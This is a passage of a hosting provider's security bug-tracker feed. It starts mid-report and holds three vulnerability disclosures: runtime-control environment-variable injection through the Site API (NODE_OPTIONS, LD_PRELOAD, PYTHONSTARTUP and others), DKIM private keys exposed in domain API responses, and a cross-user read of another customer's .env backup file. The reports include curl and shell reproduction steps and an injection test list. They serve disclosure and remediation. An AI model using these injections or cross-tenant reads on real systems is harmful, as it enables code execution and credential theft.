```bash<br />curl -s -o /tmp/out.json -w &quot;<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:%{http_code}\n&quot; \
</p>
<ol>
<li class="level1"><div class="li">X PATCH &quot;<a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>$SITE_ID/&quot; \</div>
</li>
<li class="level1"><div class="li">-basic –user &quot;$APIKEY:&quot; \</div>
</li>
<li class="level1"><div class="li">H &quot;Content-Type: application/json&quot; \</div>
</li>
<li class="level1"><div class="li">d &#039;{&quot;environment&quot;:&quot;NODE_OPTIONS=–version&quot;}&#039;</div>
</li>
</ol>

<p>
```
</p>

<p>
The purpose of this PoC is to verify whether the Site <acronym title="Application Programming Interface">API</acronym> security control covers runtime-control environment variables beyond the originally reported `LD_PRELOAD`.
</p>

<p>
### Security Impact
</p>

<p>
If a runtime-control variable is accepted and persisted, it can influence application startup.
</p>

<p>
For example:
</p>

<p>
```text<br />NODE_OPTIONS=–require /path/to/module.js<br />```
</p>

<p>
can cause Node.js to load a module automatically during startup.
</p>

<p>
Potential impact includes:
</p>

<p>
* Arbitrary code execution as the site user<br />* Access to application environment variables<br />* Exposure of <acronym title="Application Programming Interface">API</acronym> keys and database credentials<br />* Modification of application files<br />* Application-level persistence<br />* Runtime manipulation
</p>

<p>
### Recommended Remediation
</p>

<p>
The preferred remediation is to use a <strong>strict allowlist</strong> for customer-controlled environment variables rather than maintaining an expanding denylist.
</p>

<p>
Recommended controls:
</p>

<p>
1. Allow only explicitly permitted environment-variable names.<br />2. Normalize variable names before validation.<br />3. Reject leading/trailing whitespace and malformed definitions.<br />4. Validate both variable names and values.<br />5. Apply validation consistently across all Site <acronym title="Application Programming Interface">API</acronym> management paths.<br />6. Ensure application processes receive only explicitly permitted environment variables.
</p>

<p>
### Regression Tests
</p>

<p>
The following runtime-control variables should be covered by the security validation:
</p>

<p>
```text<br />LD_PRELOAD=canary<br />LD_LIBRARY_PATH=canary
</p>

<p>
NODE_OPTIONS=–version<br />NODE_PATH=canary
</p>

<p>
PYTHONSTARTUP=canary<br />PYTHONPATH=canary<br />PYTHONHOME=canary<br />PYTHONINSPECT=1
</p>

<p>
RUBYOPT=canary<br />RUBYLIB=canary
</p>

<p>
PERL5OPT=canary<br />PERL5LIB=canary
</p>

<p>
BASH_ENV=canary<br />ENV=canary
</p>

<p>
JAVA_TOOL_OPTIONS=canary<br />_JAVA_OPTIONS=canary<br />```
</p>

<p>
Normalization variants should also be tested:
</p>

<p>
```text<br />ld_preload=canary<br />Ld_Preload=canary<br />LD_PRELOAD =canary<br />```
</p>

<p>
### Impact
</p>

<p>
An authenticated attacker with the required Site <acronym title="Application Programming Interface">API</acronym> permissions could potentially use a permitted runtime-control environment variable to influence the startup behavior of their hosted application.
</p>

<p>
If code execution is confirmed, the attacker could potentially:
</p>

<p>
* Execute arbitrary code as the site user<br />* Read application secrets<br />* Access environment credentials<br />* Modify application files<br />* Establish persistence<br />* Affect application availability and integrity
</p>

<p>
<strong>Severity: High — CVSS 3.1: 8.8</strong>
</p>

<p>
### Requested Action
</p>

<p>
Please verify that the <del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del> remediation protects against the complete class of <strong>runtime-control environment variable injection</strong>, rather than only the originally reported `LD_PRELOAD` value.
</p>

<p>
The security requirement should be: 
</p>
<blockquote><div class="no">
 Customer-controlled environment variables must not be capable of modifying interpreter, loader, shell, or JVM startup behavior.</div></blockquote>

<p>
 Thank you for reviewing this security report.
</p>

<p>
Regards,
</p>

<p>
<strong>Hacker AK</strong> Security Researcher<br /><strong>[hackerak822@gmail.com](mailto:hackerak822@gmail.com)</strong>
</p>

<p>
<strong>Testing Date:</strong> 2026-08-16
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/443">
    <title>FS#443: Authenticated API Disclosure of DKIM Private Keys</title>
    <link>https://security.alwaysdata.com/task/443</link>
    <dc:date>2026-08-13T10:43:02Z</dc:date>
    <dc:creator>subhash</dc:creator>
     <description>

Description



I identified a sensitive information disclosure vulnerability in the AlwaysData REST API affecting the Domain API resource.



An authenticated API user can request:

GET /v1/domain/


 or an individual domain:

GET /v1/domain/{domain_id}/


 and the API response contains the complete dkim_private_key value for the domain.



The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData&amp;#039;s own documentation, the DKIM private key is intended to be known only to and kept secret by the domain&amp;#039;s mail delivery servers, while the public key is published through DNS. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.



CVSS → CVSS v3.1: 7.5 (High)



Steps to Reproduce 1. Obtain an authorized AlwaysData API token. Use an API token belonging to an account you control.AlwaysData documents API authentication using the API token followed by a colon.



2. Request the domain collection

curl -sS --basic \
  --user &amp;quot;$APIKEY:&amp;quot; \
  &amp;#039;https://api.alwaysdata.com/v1/domain/&amp;#039;


3. Observe the responseThe API returns domain objects containing:

{
    &amp;quot;id&amp;quot;: 130581,
    &amp;quot;name&amp;quot;: &amp;quot;www.dam.com&amp;quot;,
    &amp;quot;dkim_selector&amp;quot;: &amp;quot;alwaysdata&amp;quot;,
    &amp;quot;dkim_public_key&amp;quot;: &amp;quot;[REDACTED]&amp;quot;,
    &amp;quot;dkim_private_key&amp;quot;: &amp;quot;[REDACTED]&amp;quot;
}


 The actual dkim_private_key value contains a complete RSA private key.



4. Verify an individual domainExample:

curl -sS --basic \
  --user &amp;quot;$APIKEY:&amp;quot; \
  &amp;#039;https://api.alwaysdata.com/v1/domain/130581/&amp;#039;


 The response again contains:

&amp;quot;dkim_private_key&amp;quot;: &amp;quot;[REDACTED]&amp;quot;


5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.



For safety, I have not included the actual private-key material in this report.



Actual Behavior The authenticated Domain API returns the domain&amp;#039;s complete DKIM private key in the JSON response.



The private key is exposed through:

GET /v1/domain/
GET /v1/domain/{domain_id}/


This means an API consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.



Expected Behavior



The API should never return the DKIM private key through normal domain API responses.



If the private key is required for an administrative operation, it should remain server-side and should not be serialized into API responses.



The API response should expose only non-sensitive information such as:

{
    &amp;quot;dkim_selector&amp;quot;: &amp;quot;alwaysdata&amp;quot;,
    &amp;quot;dkim_public_key&amp;quot;: &amp;quot;[public key]&amp;quot;
}


and omit:

&amp;quot;dkim_private_key&amp;quot;


Impact



The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData&amp;#039;s documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.



If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.



This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.



The vulnerability therefore represents confidentiality loss of cryptographic credentials.



Business Impact



Potential business impact includes:



1- Exposure of customers&amp;#039; cryptographic signing secrets.2- Potential compromise of email-authentication trust for affected domains.3- Increased risk of domain impersonation/phishing scenarios.4- Potential reputational damage to customers whose domains are affected.5- Requirement to regenerate/revoke affected DKIM keys.6- Incident-response and customer-notification costs if production keys are exposed.



Remediation 1- Remove dkim_private_key from all API responses.2- Return only the DKIM public key and selector where required.3- Keep private DKIM keys exclusively server-side.4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint.5- Audit API permissions to ensure private cryptographic material cannot be retrieved through any other endpoint.6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised.7- Review API and application logs to determine whether sensitive keys were accessed by unauthorized parties.



PoC Kindly check attachments



Conclusion



The AlwaysData Domain API currently exposes complete DKIM private keys to authenticated API clients through both the domain collection and individual-domain endpoints.



I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers&amp;#039; private information.



The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from API responses and rotating affected DKIM credentials.



ThanksAdd regression tests ensuring secret fields such as private keys are never serialized in normal API responses.

</description>
    <content:encoded><![CDATA[
<p>
<strong>Description</strong>
</p>

<p>
I identified a sensitive information disclosure vulnerability in the AlwaysData REST <acronym title="Application Programming Interface">API</acronym> affecting the Domain <acronym title="Application Programming Interface">API</acronym> resource.
</p>

<p>
An authenticated <acronym title="Application Programming Interface">API</acronym> user can request:<br />
</p>
<pre class="code">GET /v1/domain/</pre>

<p>
 or an individual domain:<br />
</p>
<pre class="code">GET /v1/domain/{domain_id}/</pre>

<p>
 and the <acronym title="Application Programming Interface">API</acronym> response contains the complete dkim_private_key value for the domain.
</p>

<p>
The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData&#039;s own documentation, the DKIM private key is intended to be known only to and kept secret by the domain&#039;s mail delivery servers, while the public key is published through <acronym title="Domain Name Server">DNS</acronym>. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.
</p>

<p>
<strong>CVSS → CVSS v3.1: 7.5 (High)</strong>
</p>

<p>
<strong>Steps to Reproduce</strong> 1. Obtain an authorized AlwaysData <acronym title="Application Programming Interface">API</acronym> token. Use an <acronym title="Application Programming Interface">API</acronym> token belonging to an account you control.AlwaysData documents <acronym title="Application Programming Interface">API</acronym> authentication using the <acronym title="Application Programming Interface">API</acronym> token followed by a colon.
</p>

<p>
2. Request the domain collection<br />
</p>
<pre class="code">curl -sS --basic \
  --user &quot;$APIKEY:&quot; \
  &#039;https://api.alwaysdata.com/v1/domain/&#039;</pre>

<p>
3. Observe the response<br />The <acronym title="Application Programming Interface">API</acronym> returns domain objects containing:<br />
</p>
<pre class="code">{
    &quot;id&quot;: 130581,
    &quot;name&quot;: &quot;www.dam.com&quot;,
    &quot;dkim_selector&quot;: &quot;alwaysdata&quot;,
    &quot;dkim_public_key&quot;: &quot;[REDACTED]&quot;,
    &quot;dkim_private_key&quot;: &quot;[REDACTED]&quot;
}</pre>

<p>
 The actual dkim_private_key value contains a complete RSA private key.
</p>

<p>
4. Verify an individual domain<br />Example:<br />
</p>
<pre class="code">curl -sS --basic \
  --user &quot;$APIKEY:&quot; \
  &#039;https://api.alwaysdata.com/v1/domain/130581/&#039;</pre>

<p>
 The response again contains:<br />
</p>
<pre class="code">&quot;dkim_private_key&quot;: &quot;[REDACTED]&quot;</pre>

<p>
5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.
</p>

<p>
For safety, I have not included the actual private-key material in this report.
</p>

<p>
<strong>Actual Behavior</strong> The authenticated Domain <acronym title="Application Programming Interface">API</acronym> returns the domain&#039;s complete DKIM private key in the JSON response.
</p>

<p>
The private key is exposed through:
</p>
<pre class="code">GET /v1/domain/
GET /v1/domain/{domain_id}/</pre>

<p>
This means an <acronym title="Application Programming Interface">API</acronym> consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.
</p>

<p>
<strong>Expected Behavior</strong>
</p>

<p>
The <acronym title="Application Programming Interface">API</acronym> should never return the DKIM private key through normal domain <acronym title="Application Programming Interface">API</acronym> responses.
</p>

<p>
If the private key is required for an administrative operation, it should remain server-side and should not be serialized into <acronym title="Application Programming Interface">API</acronym> responses.
</p>

<p>
The <acronym title="Application Programming Interface">API</acronym> response should expose only non-sensitive information such as:
</p>
<pre class="code">{
    &quot;dkim_selector&quot;: &quot;alwaysdata&quot;,
    &quot;dkim_public_key&quot;: &quot;[public key]&quot;
}</pre>

<p>
and omit:<br />
</p>
<pre class="code">&quot;dkim_private_key&quot;</pre>

<p>
<strong>Impact</strong>
</p>

<p>
The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData&#039;s documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.
</p>

<p>
If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.
</p>

<p>
This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.
</p>

<p>
The vulnerability therefore represents confidentiality loss of cryptographic credentials.
</p>

<p>
<strong>Business Impact</strong>
</p>

<p>
Potential business impact includes:
</p>

<p>
1- Exposure of customers&#039; cryptographic signing secrets.<br />2- Potential compromise of email-authentication trust for affected domains.<br />3- Increased risk of domain impersonation/phishing scenarios.<br />4- Potential reputational damage to customers whose domains are affected.<br />5- Requirement to regenerate/revoke affected DKIM keys.<br />6- Incident-response and customer-notification costs if production keys are exposed.
</p>

<p>
<strong>Remediation</strong> 1- Remove dkim_private_key from all <acronym title="Application Programming Interface">API</acronym> responses.<br />2- Return only the DKIM public key and selector where required.<br />3- Keep private DKIM keys exclusively server-side.<br />4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint.<br />5- Audit <acronym title="Application Programming Interface">API</acronym> permissions to ensure private cryptographic material cannot be retrieved through any other endpoint.<br />6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised.<br />7- Review <acronym title="Application Programming Interface">API</acronym> and application logs to determine whether sensitive keys were accessed by unauthorized parties.
</p>

<p>
<strong>PoC</strong> Kindly check attachments
</p>

<p>
<strong>Conclusion</strong>
</p>

<p>
The AlwaysData Domain <acronym title="Application Programming Interface">API</acronym> currently exposes complete DKIM private keys to authenticated <acronym title="Application Programming Interface">API</acronym> clients through both the domain collection and individual-domain endpoints.
</p>

<p>
I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers&#039; private information.
</p>

<p>
The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from <acronym title="Application Programming Interface">API</acronym> responses and rotating affected DKIM credentials.
</p>

<p>
Thanks<br />Add regression tests ensuring secret fields such as private keys are never serialized in normal <acronym title="Application Programming Interface">API</acronym> responses.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/442">
    <title>FS#442: Cross-User File Read / Insecure File Permissions Leading to Tenant Isolation Bypass</title>
    <link>https://security.alwaysdata.com/task/442</link>
    <dc:date>2026-08-13T07:56:51Z</dc:date>
    <dc:creator>subhash</dc:creator>
     <description>

Description



A cross-user file access vulnerability was identified in the shared hosting environment. The authenticated user remberme is able to read files owned by other users, such as:

/tmp/dashboard.env.local.bak


The file is owned by another account:

Owner: davidgoncalves
Group: davidgoncalves
Permissions: 664


The permission mode 664 grants read access to users outside the file owner/group through the other::r– permission.



Using the remberme account, I successfully verified that the file is readable, demonstrating a violation of expected cross-user filesystem isolation.



CVSS → CVSS v3.1: 7.0 (High)



The severity may increase if the affected files contain credentials, API keys, private source code, customer information, or other sensitive data.



Steps to Reproduce



1- Log in to the hosting environment using a normal account, e.g.: remberme@ssh1



2- Identify a file belonging to another user: stat -c &amp;#039;owner=%U group=%G mode=%a file=%n&amp;#039; /tmp/dashboard.env.local.bak



3- The file reports: 

owner=davidgoncalves
group=davidgoncalves
mode=664


4- Check the ACL: getfacl -p /tmp/dashboard.env.local.bak



5- The output confirms: 

user::rw-
group::rw-
other::r--


6- While authenticated as remberme, verify read access: test -r /tmp/dashboard.env.local.bak &amp;amp;&amp;amp; echo &amp;quot;READABLE&amp;quot; || echo &amp;quot;NOT_READABLE&amp;quot;



7- The result is: READABLE



8- A non-destructive read test was performed: 

head -c 1 /tmp/dashboard.env.local.bak &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 \
&amp;amp;&amp;amp; echo &amp;quot;CROSS-USER READ CONFIRMED&amp;quot; \
|| echo &amp;quot;READ FAILED&amp;quot;


9- Result: CROSS-USER READ CONFIRMEDNo modification, deletion, or execution of the other user&amp;#039;s file was performed.



Actual Behaviour



A normal authenticated user is able to obtain read access to a file owned by another user/account. This demonstrates insufficient filesystem isolation between users in the shared hosting environment.



Expected Behaviour



Files belonging to another customer/user should not be readable by an unrelated authenticated account unless explicitly shared. The platform should enforce strict per-user filesystem isolation and ensure that customer-owned files are inaccessible to other customers.



Impact An attacker with a valid low-privileged hosting account could potentially enumerate and read files belonging to other users when those files are created with overly permissive permissions.



Depending on the affected files, this could expose:



1- Application source code2- Configuration files3- Database credentials4- API keys/tokens5- Environment variables6- Internal application data7- Customer-specific information8- Backup files



The demonstrated .env.local.bak filename is particularly concerning because environment/backup files commonly contain application configuration and secrets.



Business Impact



This issue breaks the fundamental tenant isolation expected from a multi-user hosting platform.



Successful exploitation could allow one customer to access another customer&amp;#039;s confidential application data or credentials, potentially resulting in:



1- Customer data exposure2- Credential/API-key compromise3- Unauthorized access to external services4- Loss of customer trust5- Privacy and compliance concerns6- Increased impact from chained attacks



The business impact depends on the sensitivity of the files exposed through the insecure permissions.



Conclusion



The testing demonstrates that the remberme account can read a file owned by the unrelated davidgoncalves account due to permissive filesystem permissions.



The issue is therefore reproducible and not merely theoretical. I recommend enforcing strict per-user filesystem isolation and preventing files created by one customer from being readable by other customers by default.



Thanks

</description>
    <content:encoded><![CDATA[
<p>
<strong>Description</strong>
</p>

<p>
A cross-user file access vulnerability was identified in the shared hosting environment. The authenticated user remberme is able to read files owned by other users, such as:
</p>
<pre class="code">/tmp/dashboard.env.local.bak</pre>

<p>
The file is owned by another account:<br />
</p>
<pre class="code">Owner: davidgoncalves
Group: davidgoncalves
Permissions: 664</pre>

<p>
The permission mode 664 grants read access to users outside the file owner/group through the other::r– permission.
</p>

<p>
Using the remberme account, I successfully verified that the file is readable, demonstrating a violation of expected cross-user filesystem isolation.
</p>

<p>
<strong>CVSS → CVSS v3.1: 7.0 (High)</strong>
</p>

<p>
The severity may increase if the affected files contain credentials, <acronym title="Application Programming Interface">API</acronym> keys, private source code, customer information, or other sensitive data.
</p>

<p>
<strong>Steps to Reproduce</strong>
</p>

<p>
1- Log in to the hosting environment using a normal account, e.g.: remberme@ssh1
</p>

<p>
2- Identify a file belonging to another user: stat -c &#039;owner=%U group=%G mode=%a file=%n&#039; /tmp/dashboard.env.local.bak
</p>

<p>
3- The file reports: 
</p>
<pre class="code">owner=davidgoncalves
group=davidgoncalves
mode=664</pre>

<p>
4- Check the <acronym title="Access Control List">ACL</acronym>: getfacl -p /tmp/dashboard.env.local.bak
</p>

<p>
5- The output confirms: 
</p>
<pre class="code">user::rw-
group::rw-
other::r--</pre>

<p>
6- While authenticated as remberme, verify read access: test -r /tmp/dashboard.env.local.bak &amp;&amp; echo &quot;READABLE&quot; || echo &quot;NOT_READABLE&quot;
</p>

<p>
7- The result is: READABLE
</p>

<p>
8- A non-destructive read test was performed: 
</p>
<pre class="code">head -c 1 /tmp/dashboard.env.local.bak &gt;/dev/null 2&gt;&amp;1 \
&amp;&amp; echo &quot;CROSS-USER READ CONFIRMED&quot; \
|| echo &quot;READ FAILED&quot;</pre>

<p>
9- Result: CROSS-USER READ CONFIRMED<br />No modification, deletion, or execution of the other user&#039;s file was performed.
</p>

<p>
<strong>Actual Behaviour</strong>
</p>

<p>
A normal authenticated user is able to obtain read access to a file owned by another user/account. This demonstrates insufficient filesystem isolation between users in the shared hosting environment.
</p>

<p>
<strong>Expected Behaviour</strong>
</p>

<p>
Files belonging to another customer/user should not be readable by an unrelated authenticated account unless explicitly shared. The platform should enforce strict per-user filesystem isolation and ensure that customer-owned files are inaccessible to other customers.
</p>

<p>
<strong>Impact</strong> An attacker with a valid low-privileged hosting account could potentially enumerate and read files belonging to other users when those files are created with overly permissive permissions.
</p>

<p>
Depending on the affected files, this could expose:
</p>

<p>
1- Application source code<br />2- Configuration files<br />3- Database credentials<br />4- <acronym title="Application Programming Interface">API</acronym> keys/tokens<br />5- Environment variables<br />6- Internal application data<br />7- Customer-specific information<br />8- Backup files
</p>

<p>
The demonstrated .env.local.bak filename is particularly concerning because environment/backup files commonly contain application configuration and secrets.
</p>

<p>
<strong>Business Impact</strong>
</p>

<p>
This issue breaks the fundamental tenant isolation expected from a multi-user hosting platform.
</p>

<p>
Successful exploitation could allow one customer to access another customer&#039;s confidential application data or credentials, potentially resulting in:
</p>

<p>
1- Customer data exposure<br />2- Credential/<acronym title="Application Programming Interface">API</acronym>-key compromise<br />3- Unauthorized access to external services<br />4- Loss of customer trust<br />5- Privacy and compliance concerns<br />6- Increased impact from chained attacks
</p>

<p>
The business impact depends on the sensitivity of the files exposed through the insecure permissions.
</p>

<p>
<strong>Conclusion</strong>
</p>

<p>
The testing demonstrates that the remberme account can read a file owned by the unrelated davidgoncalves account due to permissive filesystem permissions.
</p>

<p>
The issue is therefore reproducible and not merely theoretical. I recommend enforcing strict per-user filesystem isolation and preventing files created by one customer from being readable by other customers by default.
</p>

<p>
Thanks<br />
</p>
]]></content:encoded>
  </item>
  </rdf:RDF>
